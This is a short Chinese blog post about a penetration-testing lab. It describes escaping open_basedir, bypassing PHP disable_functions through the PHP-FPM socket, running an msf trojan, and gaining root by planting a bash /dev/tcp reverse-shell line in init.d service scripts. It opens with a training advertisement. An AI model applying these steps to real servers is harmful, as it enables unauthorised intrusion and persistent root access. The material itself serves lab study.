记一次面试打靶机学到的三个技巧
【推荐学习】暗月渗透测试培训 十多年渗透经验，体系化培训渗透测试 、高效学习渗透测试，欢迎添加微信好友aptimeok 咨询。
拿到webshell之后，通过phpinfo看到disable_functions配置限制的函数，且目录权限受到open_basedir的限制，能执行系统命令的函数都被禁用，常规蚁剑提供的绕过方式也都被封锁，但是从phpinfo文件里发现系统上运行着FPM/FastCGI和nginx。
一、突破webshell目录限制：
open_basedir = :/
二、绕过disable_functions：
然后通过蚁剑进入文件管理发现tmp目录下有/tmp/php-cgi-56.sock文件，可以利用蚁剑插件绕过disable_functions，攻击fpm，直接与fpm通信，利用fpm绕过disable_functions。
之后用msf生成linux木马，通过绕过disable_functions得到的webshell执行木马，反弹交互式shell到自己的服务器。
三、提权手法：
/etc/init.d/pure-ftpd
/etc/init.d/php-fpm-56
/etc/init.d/nginx
将反弹shell的语句：nohup bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1 & 写入配置文件中,服务器开启监听，等待应用重启或者查看状态等，我们自己的服务器将收到root反弹回来的shell。
原创文章，作者：mOon，如若转载，请注明出处：https://www.moonsec.com/4051.html
赞 (0)
mOon
红队第4篇 | Shiro Padding Oracle无key的艰难实战利用过程
« 上一篇
2022年4月23日 am6:39
工具|红队快速批量打点
下一篇 »
2022年4月23日 pm5:50
